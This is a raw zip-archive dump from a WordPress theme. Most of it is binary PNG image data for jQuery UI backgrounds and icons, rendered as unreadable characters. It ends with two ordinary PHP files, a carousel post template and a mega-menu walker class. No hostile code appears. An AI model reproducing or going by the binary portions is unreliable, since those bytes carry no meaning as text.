   IHDR         IJ   PLTE$"$$"$$"$$"$$"$$"$$"$$"$$"$$"$$"$$"$$"$$"$$"$$"$$"$$"$$"$$"$$"$$"$$"$$"$$"$$"$$"$$"$$"$$"$$"$$"$$"$$"$$"$$"$$"$$"$$"$$"$$"$$"$$"$$"$$"$$"$$"$$"$$"$$"$$"$$"$$"$$"$$"$$"$$"$$"$$"$$"$$"$$"$$"$$"$$"$$"$$"$$"$$"$$"$$"$$"$$"$$"$$"$$"$$"$$"$$"$È   NtRNS 2P."Tp@f` <BHJZ&0R,4j8D|($
blߝF>n~hhH  IDATx]b۶H儒-{iZK:glkn-tIqq?  E$dK>$>; PZ sVh!Sy0E0}H)-tkoܪKp\RϠ .E7
)*V;~PeBx*,=$zDؾ  JҸٻ 9{ ǸHpqW@"2'B[$ @TiH/b٥96!XHq`DE*R HV!%;"
i]dddddddd4y5 	Rb@(8CdŪݡ,@T@ibrq0alX!pe,	=4bW {
5Ƭhu~(Q^@3="b5XC@JCT76q_5@,r	šɩD)T|O@
ON-ՙ	[n@RXIm݋(F @?=0puL;g$@6η
K`>п @h գKVn"a"%l@.v$/U^G:#`` uTtK~ŋZ5T%kxk]\*Q,҇B44OXK|yg+_M(lоEO
 V$T1BXb-|?@ fBXr%'@ҹA\IJ,}BBc\V
rh(]tI^}oצoS3	";ʙb}"߰	){b$Gwwݾab")T@pF_er6JvШ"mޭM-d76x˰6ӥ;/`>KrP\_^u1%OTM.} Q3.Nس} )>-w`a+sy$t)NbFFFFBejnNVn4,A*X*5>PGa3	{oB&<L[Nc.öi=` Q@d
͆I.Il`\t[< Cit484-r+f쑱BCB MH	iy }>rxp|z;BǏ;burcK4tz1G~`ؚK|	̔>ۡO$~
Ao)0pzz
} i `;ADm8n:cfA@s7L  Z/..h8or?N93B~o_'` opO-:TG	L;7]`B%˛>*wTpM 0H}&t^1'Oqr'2P͡+z,tIW''|en=ǳgRm[NStK{҉mؓVt6ҲR`ζN&}B	U(r<qȁVyrrA**دzg6D#	YP`vs~(zMle|uQa*}+TRXc"+*NlNhcFt<N+;-}،Xtٕ$à^|uv*~'E_51qs*R`OΒ9#x449#WHۏZ)]0`p<ߝNoY{476ǹ>ۗ&1%Q''?l׸+&r{jN಻4)`N狌.߭ ǣ)q	2?n3Hb`} .`pqY1e_bu7e+N_F(DT,L}LLrmP5|x芥1cx DAb`M(7NED~<v\	%,ߚ/pR~/^lnp7t0_0l4_b0MWΦjmбɎl
|reȫ`B-v.iRox}
)%#`ЂR5CA2sua sYy3=jaeoI7~.plA΃
`O)	^>Mz	+4BXd.Mzv͈Pd8p<6?8N*x.6ڍ6G FZ)O	!lSshssNp8`'0/<s}.@Ǩs7ξO۟VDa5a v]m1+3 y6۠>@u50Ps51==p *KVҫ܂ݻc$N4(Xr2###c-賟Lδ>]5.sYs1f0;'̨Yg銛{@9	`aC(=%bo2=n1	jBoS$n#m =i0ci9}oI	qT] W%.(؅]z\x
f"]o'u䫵tk{v;A C3ֆwwR_#X(xҋ/q%Whpk_IX'b/fXKi"#####QCLi2t5L 0
QiH2;yTOok;עٶ`RNg{zy! Kxm?A(vU~mL(`o/!nmX-{v [ dw=n「sdwzn(}Oy~m
?XU;, V'+V&JRZ]᧭:zC'-߆@y4u`Vۓwъ#zP@QN>2/{\o) W~a3xLw:_Q;=pּdt\'8~3SRP6y+XQ*޺r
̗ѭ*޺r
gl/\U^u$|mbVnw\V|D͊NVNy7 k<;/E}?E*ǳgO ~g/96f
cD}%g$QG7o) UJo,O@0߾Q(;bw:5	NwRN5Iy'K?}:9mֽ*@f@jU9mҫÍ{$ ؗ}dFp|%!DdF>}G{@FFFFFFƦQܞH 
3
u	Mo~vy}mwz<7nP9rWku=|_nz쿳}@IXn?s<uP    IENDB`PK     0w\dʹ      B  dashboard/lib/meta-box/img/jqueryui/ui-bg_flat_0_aaaaaa_40x100.pngnu [        PNG

   IHDR   (   d   drz   {IDATh1  17Y$t3;_TUAUPTUAUPTUAUPTUAUPTUAUPTUAUPTUAUPTUAUPTUAUPTUAUPTUAUPTUAUPTüŝc)    IENDB`PK     0w\i   i   C  dashboard/lib/meta-box/img/jqueryui/ui-bg_glass_65_ffffff_1x400.pngnu [        PNG

   IHDR        oX
   0IDAT8!  +	̼JHR)[lk=O_(<`H"    IENDB`PK     0w\ۇo   o   C  dashboard/lib/meta-box/img/jqueryui/ui-bg_glass_75_dadada_1x400.pngnu [        PNG

   IHDR        oX
   6IDAT8cx&Qb%-7(`bbBf!؈(1J c	ܠ    IENDB`PK     0w\w    ?  dashboard/lib/meta-box/img/jqueryui/ui-icons_cd0a0a_256x240.pngnu [        PNG

   IHDR         IJ   PLTE














































































Fc   NtRNS 2P."Tp@f` <BHJZ&0R,4j8D|($
blߝF>n~hhH  IDATx]b۶H儒-{iZK:glkn-tIqq?  E$dK>$>; PZ sVh!Sy0E0}H)-tkoܪKp\RϠ .E7
)*V;~PeBx*,=$zDؾ  JҸٻ 9{ ǸHpqW@"2'B[$ @TiH/b٥96!XHq`DE*R HV!%;"
i]dddddddd4y5 	Rb@(8CdŪݡ,@T@ibrq0alX!pe,	=4bW {
5Ƭhu~(Q^@3="b5XC@JCT76q_5@,r	šɩD)T|O@
ON-ՙ	[n@RXIm݋(F @?=0puL;g$@6η
K`>п @h գKVn"a"%l@.v$/U^G:#`` uTtK~ŋZ5T%kxk]\*Q,҇B44OXK|yg+_M(lоEO
 V$T1BXb-|?@ fBXr%'@ҹA\IJ,}BBc\V
rh(]tI^}oצoS3	";ʙb}"߰	){b$Gwwݾab")T@pF_er6JvШ"mޭM-d76x˰6ӥ;/`>KrP\_^u1%OTM.} Q3.Nس} )>-w`a+sy$t)NbFFFFBejnNVn4,A*X*5>PGa3	{oB&<L[Nc.öi=` Q@d
͆I.Il`\t[< Cit484-r+f쑱BCB MH	iy }>rxp|z;BǏ;burcK4tz1G~`ؚK|	̔>ۡO$~
Ao)0pzz
} i `;ADm8n:cfA@s7L  Z/..h8or?N93B~o_'` opO-:TG	L;7]`B%˛>*wTpM 0H}&t^1'Oqr'2P͡+z,tIW''|en=ǳgRm[NStK{҉mؓVt6ҲR`ζN&}B	U(r<qȁVyrrA**دzg6D#	YP`vs~(zMle|uQa*}+TRXc"+*NlNhcFt<N+;-}،Xtٕ$à^|uv*~'E_51qs*R`OΒ9#x449#WHۏZ)]0`p<ߝNoY{476ǹ>ۗ&1%Q''?l׸+&r{jN಻4)`N狌.߭ ǣ)q	2?n3Hb`} .`pqY1e_bu7e+N_F(DT,L}LLrmP5|x芥1cx DAb`M(7NED~<v\	%,ߚ/pR~/^lnp7t0_0l4_b0MWΦjmбɎl
|reȫ`B-v.iRox}
)%#`ЂR5CA2sua sYy3=jaeoI7~.plA΃
`O)	^>Mz	+4BXd.Mzv͈Pd8p<6?8N*x.6ڍ6G FZ)O	!lSshssNp8`'0/<s}.@Ǩs7ξO۟VDa5a v]m1+3 y6۠>@u50Ps51==p *KVҫ܂ݻc$N4(Xr2###c-賟Lδ>]5.sYs1f0;'̨Yg銛{@9	`aC(=%bo2=n1	jBoS$n#m =i0ci9}oI	qT] W%.(؅]z\x
f"]o'u䫵tk{v;A C3ֆwwR_#X(xҋ/q%Whpk_IX'b/fXKi"#####QCLi2t5L 0
QiH2;yTOok;עٶ`RNg{zy! Kxm?A(vU~mL(`o/!nmX-{v [ dw=n「sdwzn(}Oy~m
?XU;, V'+V&JRZ]᧭:zC'-߆@y4u`Vۓwъ#zP@QN>2/{\o) W~a3xLw:_Q;=pּdt\'8~3SRP6y+XQ*޺r
̗ѭ*޺r
gl/\U^u$|mbVnw\V|D͊NVNy7 k<;/E}?E*ǳgO ~g/96f
cD}%g$QG7o) UJo,O@0߾Q(;bw:5	NwRN5Iy'K?}:9mֽ*@f@jU9mҫÍ{$ ؗ}dFp|%!DdF>}G{@FFFFFFƦQܞH 
3
u	Mo~vy}mwz<7nP9rWku=|_nz쿳}@IXn?s<uP    IENDB`PK     0w\ew   w   C  dashboard/lib/meta-box/img/jqueryui/ui-bg_glass_95_fef1ec_1x400.pngnu [        PNG

   IHDR        oX
   >IDAT81
0 Cџ $CB}1@)e_ƅ`I8-%cM0)"
L    IENDB`PK     0w\|8    ?  dashboard/lib/meta-box/img/jqueryui/ui-icons_2e83ff_256x240.pngnu [        PNG

   IHDR         IJ   PLTE,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,ˬM   NtRNS 2P."Tp@f` <BHJZ&0R,4j8D|($
blߝF>n~hhH  IDATx]b۶H儒-{iZK:glkn-tIqq?  E$dK>$>; PZ sVh!Sy0E0}H)-tkoܪKp\RϠ .E7
)*V;~PeBx*,=$zDؾ  JҸٻ 9{ ǸHpqW@"2'B[$ @TiH/b٥96!XHq`DE*R HV!%;"
i]dddddddd4y5 	Rb@(8CdŪݡ,@T@ibrq0alX!pe,	=4bW {
5Ƭhu~(Q^@3="b5XC@JCT76q_5@,r	šɩD)T|O@
ON-ՙ	[n@RXIm݋(F @?=0puL;g$@6η
K`>п @h գKVn"a"%l@.v$/U^G:#`` uTtK~ŋZ5T%kxk]\*Q,҇B44OXK|yg+_M(lоEO
 V$T1BXb-|?@ fBXr%'@ҹA\IJ,}BBc\V
rh(]tI^}oצoS3	";ʙb}"߰	){b$Gwwݾab")T@pF_er6JvШ"mޭM-d76x˰6ӥ;/`>KrP\_^u1%OTM.} Q3.Nس} )>-w`a+sy$t)NbFFFFBejnNVn4,A*X*5>PGa3	{oB&<L[Nc.öi=` Q@d
͆I.Il`\t[< Cit484-r+f쑱BCB MH	iy }>rxp|z;BǏ;burcK4tz1G~`ؚK|	̔>ۡO$~
Ao)0pzz
} i `;ADm8n:cfA@s7L  Z/..h8or?N93B~o_'` opO-:TG	L;7]`B%˛>*wTpM 0H}&t^1'Oqr'2P͡+z,tIW''|en=ǳgRm[NStK{҉mؓVt6ҲR`ζN&}B	U(r<qȁVyrrA**دzg6D#	YP`vs~(zMle|uQa*}+TRXc"+*NlNhcFt<N+;-}،Xtٕ$à^|uv*~'E_51qs*R`OΒ9#x449#WHۏZ)]0`p<ߝNoY{476ǹ>ۗ&1%Q''?l׸+&r{jN಻4)`N狌.߭ ǣ)q	2?n3Hb`} .`pqY1e_bu7e+N_F(DT,L}LLrmP5|x芥1cx DAb`M(7NED~<v\	%,ߚ/pR~/^lnp7t0_0l4_b0MWΦjmбɎl
|reȫ`B-v.iRox}
)%#`ЂR5CA2sua sYy3=jaeoI7~.plA΃
`O)	^>Mz	+4BXd.Mzv͈Pd8p<6?8N*x.6ڍ6G FZ)O	!lSshssNp8`'0/<s}.@Ǩs7ξO۟VDa5a v]m1+3 y6۠>@u50Ps51==p *KVҫ܂ݻc$N4(Xr2###c-賟Lδ>]5.sYs1f0;'̨Yg銛{@9	`aC(=%bo2=n1	jBoS$n#m =i0ci9}oI	qT] W%.(؅]z\x
f"]o'u䫵tk{v;A C3ֆwwR_#X(xҋ/q%Whpk_IX'b/fXKi"#####QCLi2t5L 0
QiH2;yTOok;עٶ`RNg{zy! Kxm?A(vU~mL(`o/!nmX-{v [ dw=n「sdwzn(}Oy~m
?XU;, V'+V&JRZ]᧭:zC'-߆@y4u`Vۓwъ#zP@QN>2/{\o) W~a3xLw:_Q;=pּdt\'8~3SRP6y+XQ*޺r
̗ѭ*޺r
gl/\U^u$|mbVnw\V|D͊NVNy7 k<;/E}?E*ǳgO ~g/96f
cD}%g$QG7o) UJo,O@0߾Q(;bw:5	NwRN5Iy'K?}:9mֽ*@f@jU9mҫÍ{$ ؗ}dFp|%!DdF>}G{@FFFFFFƦQܞH 
3
u	Mo~vy}mwz<7nP9rWku=|_nz쿳}@IXn?s<uP    IENDB`PK     0w\,XIe   e   L  dashboard/lib/meta-box/img/jqueryui/ui-bg_highlight-soft_75_cccccc_1x100.pngnu [        PNG

   IHDR      d   G,Z`   ,IDATcx&!DJqш/ Cc; :*CO    IENDB`PK     0w\5    ?  dashboard/lib/meta-box/img/jqueryui/ui-icons_454545_256x240.pngnu [        PNG

   IHDR         IJ   PLTEDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDm:   NtRNS 2P."Tp@f` <BHJZ&0R,4j8D|($
blߝF>n~hhH  IDATx]b۶H儒-{iZK:glkn-tIqq?  E$dK>$>; PZ sVh!Sy0E0}H)-tkoܪKp\RϠ .E7
)*V;~PeBx*,=$zDؾ  JҸٻ 9{ ǸHpqW@"2'B[$ @TiH/b٥96!XHq`DE*R HV!%;"
i]dddddddd4y5 	Rb@(8CdŪݡ,@T@ibrq0alX!pe,	=4bW {
5Ƭhu~(Q^@3="b5XC@JCT76q_5@,r	šɩD)T|O@
ON-ՙ	[n@RXIm݋(F @?=0puL;g$@6η
K`>п @h գKVn"a"%l@.v$/U^G:#`` uTtK~ŋZ5T%kxk]\*Q,҇B44OXK|yg+_M(lоEO
 V$T1BXb-|?@ fBXr%'@ҹA\IJ,}BBc\V
rh(]tI^}oצoS3	";ʙb}"߰	){b$Gwwݾab")T@pF_er6JvШ"mޭM-d76x˰6ӥ;/`>KrP\_^u1%OTM.} Q3.Nس} )>-w`a+sy$t)NbFFFFBejnNVn4,A*X*5>PGa3	{oB&<L[Nc.öi=` Q@d
͆I.Il`\t[< Cit484-r+f쑱BCB MH	iy }>rxp|z;BǏ;burcK4tz1G~`ؚK|	̔>ۡO$~
Ao)0pzz
} i `;ADm8n:cfA@s7L  Z/..h8or?N93B~o_'` opO-:TG	L;7]`B%˛>*wTpM 0H}&t^1'Oqr'2P͡+z,tIW''|en=ǳgRm[NStK{҉mؓVt6ҲR`ζN&}B	U(r<qȁVyrrA**دzg6D#	YP`vs~(zMle|uQa*}+TRXc"+*NlNhcFt<N+;-}،Xtٕ$à^|uv*~'E_51qs*R`OΒ9#x449#WHۏZ)]0`p<ߝNoY{476ǹ>ۗ&1%Q''?l׸+&r{jN಻4)`N狌.߭ ǣ)q	2?n3Hb`} .`pqY1e_bu7e+N_F(DT,L}LLrmP5|x芥1cx DAb`M(7NED~<v\	%,ߚ/pR~/^lnp7t0_0l4_b0MWΦjmбɎl
|reȫ`B-v.iRox}
)%#`ЂR5CA2sua sYy3=jaeoI7~.plA΃
`O)	^>Mz	+4BXd.Mzv͈Pd8p<6?8N*x.6ڍ6G FZ)O	!lSshssNp8`'0/<s}.@Ǩs7ξO۟VDa5a v]m1+3 y6۠>@u50Ps51==p *KVҫ܂ݻc$N4(Xr2###c-賟Lδ>]5.sYs1f0;'̨Yg銛{@9	`aC(=%bo2=n1	jBoS$n#m =i0ci9}oI	qT] W%.(؅]z\x
f"]o'u䫵tk{v;A C3ֆwwR_#X(xҋ/q%Whpk_IX'b/fXKi"#####QCLi2t5L 0
QiH2;yTOok;עٶ`RNg{zy! Kxm?A(vU~mL(`o/!nmX-{v [ dw=n「sdwzn(}Oy~m
?XU;, V'+V&JRZ]᧭:zC'-߆@y4u`Vۓwъ#zP@QN>2/{\o) W~a3xLw:_Q;=pּdt\'8~3SRP6y+XQ*޺r
̗ѭ*޺r
gl/\U^u$|mbVnw\V|D͊NVNy7 k<;/E}?E*ǳgO ~g/96f
cD}%g$QG7o) UJo,O@0߾Q(;bw:5	NwRN5Iy'K?}:9mֽ*@f@jU9mҫÍ{$ ؗ}dFp|%!DdF>}G{@FFFFFFƦQܞH 
3
u	Mo~vy}mwz<7nP9rWku=|_nz쿳}@IXn?s<uP    IENDB`PK     0w\-nn   n   C  dashboard/lib/meta-box/img/jqueryui/ui-bg_glass_75_e6e6e6_1x400.pngnu [        PNG

   IHDR        oX
   5IDAT81
  yUXHa@[{UUu@7	DF    IENDB`PK     0w\;\x   x   C  dashboard/lib/meta-box/img/jqueryui/ui-bg_glass_55_fbf9ee_1x400.pngnu [        PNG

   IHDR        oX
   ?IDAT81
0 Bѯl`6Cs<]:[&BA	e7lQJŜQY*    IENDB`PK     0w\6b  b    modules/magazine-style-5.phpnu [        <?php
/**
 * Template display for featured category style 5
 *
 * @since 2.0
 */
?>

<div class="magcat-carousel swiper-slide">
    <div class="magcat-thumb hentry">
		<?php do_action( 'penci_bookmark_post', get_the_ID() ); ?>
        <a href="<?php penci_permalink_fix(); ?>" class="mag-post-thumb<?php echo penci_class_lightbox_enable(); ?>">
			<?php
			/* Display Review Piechart  */
			if ( function_exists( 'penci_display_piechart_review_html' ) ) {
				penci_display_piechart_review_html( get_the_ID() );
			}
			?>

            <span <?php echo penci_layout_bg( penci_image_srcset( get_the_ID(), penci_featured_images_size() ) ); ?> class="<?php echo penci_layout_bg_class();?> penci-image-holder">
                <?php echo penci_layout_img( penci_image_srcset( get_the_ID(), penci_featured_images_size() ), get_the_title() ); ?>
			</span>


			<?php if ( has_post_thumbnail() && get_theme_mod( 'penci_home_featured_cat_icons' ) ): ?>
				<?php if ( has_post_format( 'video' ) ) : ?>
					<?php penci_fawesome_icon( 'fas fa-play' ); ?>
				<?php endif; ?>
				<?php if ( has_post_format( 'audio' ) ) : ?>
					<?php penci_fawesome_icon( 'fas fa-music' ); ?>
				<?php endif; ?>
				<?php if ( has_post_format( 'link' ) ) : ?>
					<?php penci_fawesome_icon( 'fas fa-link' ); ?>
				<?php endif; ?>
				<?php if ( has_post_format( 'quote' ) ) : ?>
					<?php penci_fawesome_icon( 'fas fa-quote-left' ); ?>
				<?php endif; ?>
				<?php if ( has_post_format( 'gallery' ) ) : ?>
					<?php penci_fawesome_icon( 'far fa-image' ); ?>
				<?php endif; ?>
			<?php endif; ?>
        </a>
        <div class="magcat-detail">
            <h3 class="magcat-titlte entry-title"><a href="<?php the_permalink(); ?>"><?php the_title(); ?></a></h3>
			<?php do_action( 'penci_after_post_title' ); ?>
			<?php $hide_readtime = get_theme_mod( 'penci_home_cat_readtime' ); ?>
			<?php if ( ! get_theme_mod( 'penci_home_featured_cat_author' ) || ! get_theme_mod( 'penci_home_featured_cat_date' ) || get_theme_mod( 'penci_home_featured_cat_comment' ) || get_theme_mod( 'penci_home_cat_views' ) || penci_isshow_reading_time( $hide_readtime ) ): ?>
                <div class="grid-post-box-meta mag-meta">
					<?php if ( ! get_theme_mod( 'penci_home_featured_cat_author' ) ) : ?>
                        <span class="featc-author author vcard"><?php echo penci_get_setting( 'penci_trans_by' ); ?> <?php if ( function_exists( 'coauthors_posts_links' ) ) :
								penci_coauthors_posts_links();
							else: ?>
                                <a class="author-url url fn n"
                                   href="<?php echo get_author_posts_url( get_the_author_meta( 'ID' ) ); ?>"><?php the_author(); ?></a>
							<?php endif; ?></span>
					<?php endif; ?>
					<?php if ( ! get_theme_mod( 'penci_home_featured_cat_date' ) ) : ?>
                        <span class="featc-date"><?php penci_soledad_time_link(); ?></span>
					<?php endif; ?>
					<?php if ( get_theme_mod( 'penci_home_featured_cat_comment' ) ) : ?>
                        <span class="featc-comment"><a
                                    href="<?php comments_link(); ?> "><?php comments_number( '0 ' . penci_get_setting( 'penci_trans_comments' ), '1 ' . penci_get_setting( 'penci_trans_comment' ), '% ' . penci_get_setting( 'penci_trans_comments' ) ); ?></a></span>
					<?php endif; ?>
					<?php if ( get_theme_mod( 'penci_home_cat_views' ) ) {
						echo '<span class="featc-views">';
						echo penci_get_post_views( get_the_ID() );
						echo ' ' . penci_get_setting( 'penci_trans_countviews' );
						echo '</span>';
					} ?>
					<?php if ( penci_isshow_reading_time( $hide_readtime ) ): ?>
                        <span class="featc-readtime"><?php penci_reading_time(); ?></span>
					<?php endif; ?>
					<?php do_action( 'penci_extra_meta' ); ?>
                </div>
			<?php endif; ?>
			<?php penci_soledad_meta_schema(); ?>
        </div>
    </div>
</div>
PK     0w\D8PA  PA    modules/penci-walker.phpnu [        <?php

/**
 * Class penci_main_menu
 * Hook to create options mega menu on Appearance > Menu
 * Render content mega menu if mega menu is selected
 * We hook only for categories
 *
 * @since     1.0
 * @construct hook
 *            - action wp_update_nav_menu_item
 *            - filter wp_edit_nav_menu_walker
 *            - filter wp_nav_menu_objects
 */
class penci_main_menu {

	function __construct() {
		if ( is_admin() ) {
			add_action( 'wp_update_nav_menu_item', array( $this, 'penci_wp_update_nav_menu_item' ), 10, 3 );
			add_filter( 'wp_edit_nav_menu_walker', array( $this, 'penci_wp_edit_nav_menu_walker' ) );
		}
		add_filter( 'wp_nav_menu_objects', array( $this, 'hook_wp_nav_menu_objects' ), 10, 2 );
	}

	function penci_wp_edit_nav_menu_walker() {
		include_once trailingslashit( PENCI_SOLEDAD_DIR ) . 'inc/modules/penci-menu-callback.php';

		return 'penci_nav_menu_edit_walker';
	}

	function penci_wp_update_nav_menu_item( $menu_id, $menu_item_id, $args ) {

		$update_list = array(
			'penci_cat_mega_menu',
			'penci_number_mega_menu',
			'penci_style_mega_menu',
			'penci_position_mega_menu',
			'penci_menu_pos',
			'penci_menu_type',
			'penci_menu_bgimg',
			'penci_menu_block',
			'penci_menu_load',
			'penci_menu_mw',
			'penci_menu_mh',
			'penci_menu_bgcl',
			'penci_menu_lbtxt',
			'penci_menu_lbs',
			'penci_menu_lbbg',
			'penci_menu_lbcl',
			'penci_menu_anchor',
			'penci_menu_visible',
		);

		foreach ( $update_list as $list ) {
			if ( isset( $_POST[ $list ][ $menu_item_id ] ) ) {
				update_post_meta( $menu_item_id, $list, $_POST[ $list ][ $menu_item_id ] );
			}
		}
	}

	function hook_wp_nav_menu_objects( $items, $args ) {
		$menu_items = array();
		$remove_ids = [];

		$main_menu_name = isset( $args->menu ) ? $args->menu : '';
		$main_menu_name = is_object( $main_menu_name ) ? $main_menu_name->slug : $main_menu_name;

		$item_position = 0;
		$ajax_support  = get_theme_mod( 'penci_megamenu_ajax_cat', true );

		foreach ( $items as $item ) {
			// Get post meta value for the menu item
			$penci_menu_visible = get_post_meta( $item->ID, 'penci_menu_visible', true );

			if ( $penci_menu_visible == 'loggedin' && ! is_user_logged_in() ) {
				$remove_ids[] = $item->ID;
			} elseif ( $penci_menu_visible == 'visitor' && is_user_logged_in() ) {
				$remove_ids[] = $item->ID;
			}
		}

		foreach ( $items as $key => &$item ) {
			if ( in_array( $item->ID, $remove_ids ) || in_array( $item->menu_item_parent, $remove_ids ) ) {
				unset( $items[ $key ] ); // Remove item if it's in the list or its parent is in the list
			}
		}

		foreach ( $items as $key => &$item ) {
			$item->is_mega_menu = false;

			// if menu is mega menu, render mega menu.
			$penci_menu_type          = get_post_meta( $item->ID, 'penci_menu_type', true );
			$penci_menu_pos           = get_post_meta( $item->ID, 'penci_menu_pos', true );
			$penci_menu_load          = get_post_meta( $item->ID, 'penci_menu_load', true );
			$penci_menu_block         = get_post_meta( $item->ID, 'penci_menu_block', true );
			$penci_catid_mega_menu    = get_post_meta( $item->ID, 'penci_cat_mega_menu', true );
			$penci_number_mega_menu   = get_post_meta( $item->ID, 'penci_number_mega_menu', true );
			$penci_style_mega_menu    = get_post_meta( $item->ID, 'penci_style_mega_menu', true );
			$penci_position_mega_menu = get_post_meta( $item->ID, 'penci_position_mega_menu', true );
			$penci_full_mega_menu     = get_post_meta( $item->ID, 'penci_menu_mw', true );

			$penci_catid_validate  = get_term( $penci_catid_mega_menu, 'category' );
			$penci_catid_mega_menu = $penci_catid_validate && ! is_wp_error( $penci_catid_validate ) ? $penci_catid_mega_menu : '';

			// label text.
			$penci_menu_lbtxt  = get_post_meta( $item->ID, 'penci_menu_lbtxt', true );
			$penci_menu_lbs    = get_post_meta( $item->ID, 'penci_menu_lbs', true );
			$penci_menu_lbbg   = get_post_meta( $item->ID, 'penci_menu_lbbg', true );
			$penci_menu_lbcl   = get_post_meta( $item->ID, 'penci_menu_lbcl', true );
			$penci_menu_anchor = get_post_meta( $item->ID, 'penci_menu_anchor', true );

			if ( $penci_menu_anchor ) {
				$item->classes[] = 'menu-item-has-anchor';
			}

			if ( $penci_menu_lbtxt ) {
				$item->classes[] = 'menu-item-has-label';
				$penci_menu_lbs  = $penci_menu_lbs ? $penci_menu_lbs : 1;
				$label_css       = '';
				if ( $penci_menu_lbbg ) {
					$label_css .= '.menu-item-' . $item->ID . '.menu-item-has-label > a > .menu-label{background-color:' . $penci_menu_lbbg . ';}';
					$label_css .= '.menu-item-' . $item->ID . '.menu-item-has-label > a > .menu-label:before{border-color:' . $penci_menu_lbbg . ';}';
				}
				if ( $penci_menu_lbcl ) {
					$label_css .= '.menu-item-' . $item->ID . '.menu-item-has-label > a > .menu-label{color:' . $penci_menu_lbcl . ';}';
				}
				if ( $label_css ) {
					$label_css = '<style>' . $label_css . '</style>';
				}
				$label       = '<span class="menu-label label-style-' . $penci_menu_lbs . '">' . esc_attr( $penci_menu_lbtxt ) . '</span>';
				$item->title = $label_css . $item->title . $label;
			}

			if ( 'yes' === $penci_menu_load ) {
				$item->classes[] = 'ajax-mega-menu';
			}

			if ( empty( $penci_number_mega_menu ) ) :
				$penci_number_mega_menu = '1';
			endif;
			if ( empty( $penci_style_mega_menu ) ) :
				$penci_style_mega_menu = '1';
			endif;
			if ( empty( $penci_position_mega_menu ) ) :
				$penci_position_mega_menu = 'side';
			endif;


			$parent_ID = penci_menu_parent_id( $items, $item->menu_item_parent );

			if ( ! $parent_ID && ( ( $penci_menu_type != 'mega-menu' && $penci_catid_mega_menu ) || ( $penci_menu_type == 'mega-menu' && $penci_menu_block ) ) ) {
				$penci_menu_pos  = $penci_menu_pos ? $penci_menu_pos : 'flexible';
				$item->classes[] = 'penci-megapos-' . $penci_menu_pos;
				$item->classes[] = 'penci-mega-menu';

				if ( ! $ajax_support && ( $penci_menu_type != 'mega-menu' && $penci_catid_mega_menu ) ) {
					$item->classes[] = 'pcmn-ajxd';
				}

				if ( $penci_full_mega_menu == 'full' && $penci_menu_type == 'mega-menu' ) {
					$item->classes[] = 'penci-mg-fullwidth';
				}

				if ( ! empty( $penci_menu_block ) && $penci_menu_type == 'mega-menu' ) {
					$item->classes[] = 'penci-block-mega penci-block-wrap-mega-' . $item->ID;
				}

				if ( ! empty( $penci_catid_mega_menu ) ) {
					$child_categories = get_categories(
						array(
							'parent'       => $penci_catid_mega_menu,
							'orderby'      => 'name',
							'order'        => 'ASC',
							'hide_empty'   => true,
							'hierarchical' => 1,
							'taxonomy'     => 'category',
						)
					);

					if ( ! empty( $child_categories ) ) {
						$item->classes[] = 'menu-item-has-children';
					}
				}

				$menu_items[] = $item;

				// create mega menu item
				$post                 = new stdClass();
				$post->ID             = 0;
				$post->post_author    = '';
				$post->post_date      = '';
				$post->post_date_gmt  = '';
				$post->post_password  = '';
				$post->post_type      = 'menu_penci';
				$post->post_status    = 'draft';
				$post->to_ping        = '';
				$post->pinged         = '';
				$post->comment_status = get_option( 'default_comment_status' );
				$post->ping_status    = get_option( 'default_ping_status' );
				$post->post_pingback  = get_option( 'default_pingback_flag' );
				$post->post_category  = get_option( 'default_category' );
				$post->page_template  = 'default';
				$post->post_parent    = 0;
				$post->menu_order     = 0;
				$new_item             = new WP_Post( $post );

				/*
				 * if this is mega menu
				 * set the is_mega_menu flag
				 * render content of this mega menu
				 */
				$new_item->is_mega_menu = true; // sent to the menu walkers

				$new_item->menu_item_parent = $item->ID;

				$extra_class = $penci_menu_type == 'mega-menu' ? 'penci-block-mega' : 'penci-megamenu normal-cat-menu';

				$menu_attr = $penci_menu_type !== 'mega-menu' && $penci_catid_mega_menu && $ajax_support ? ' data-id="' . wp_create_nonce( 'penci-load-mega' ) . '" data-menu="' . $main_menu_name . '" data-item="' . $item_position . '" data-catid="' . $penci_catid_mega_menu . '" data-number="' . $penci_number_mega_menu . '" data-style="' . $penci_style_mega_menu . '" data-position="' . $penci_position_mega_menu . '"' : '';

				$new_item->url   = '';
				$new_item->title = '';
				$new_item->title .= '<div class="' . $extra_class . ' penc-menu-' . $item->ID . '"' . $menu_attr . '>';

				if ( $penci_menu_type !== 'mega-menu' && $penci_catid_mega_menu && ! $ajax_support ) {
					$new_item->title .= penci_return_html_mega_menu( $penci_catid_mega_menu, $penci_number_mega_menu, $penci_style_mega_menu, $penci_position_mega_menu, $items, $item );
				}

				if ( $penci_menu_type == 'mega-menu' && ! penci_is_mobile() ) {
					$new_item->title .= penci_return_html_block_menu( $penci_menu_block, $item->ID );
				}

				$new_item->title .= '</div>';

				$menu_items[] = $new_item;

			} elseif ( $parent_ID && get_post_meta( $parent_ID, 'penci_cat_mega_menu', true ) ) {

				$menu_items[] = '';
			} elseif ( $parent_ID && get_post_meta( $parent_ID, 'penci_menu_type', true ) == 'mega-menu' ) {
				$menu_items[] = '';
			} else {
				$menu_items[] = $item;
			}
			++ $item_position;
		} //end foreach

		return $menu_items;
	}
}

new penci_main_menu();

/**
 * Class penci_menu_walker_nav_menu
 * This class will remove wrap </a> around mega menu
 * Callback on wp_nav_menu() in header.php file
 *
 * @since 1.0
 */
class penci_menu_walker_nav_menu extends Walker_Nav_Menu {
	private $logo_break_point = null;
	private $count_item_parent = 0;
	private $curItem;
	private $child_menu_items = array();

	/**
	 * Starts the list before the elements are added.
	 *
	 * @param string $output Passed by reference. Used to append additional content.
	 * @param int $depth Depth of menu item. Used for padding.
	 * @param mixed $args An array of arguments. @see wp_nav_menu().
	 *
	 * @since 3.0.0
	 *
	 * @see   Walker::start_lvl()
	 */
	public function start_lvl( &$output, $depth = 0, $args = array() ) {
		$menu_item       = $this->curItem;
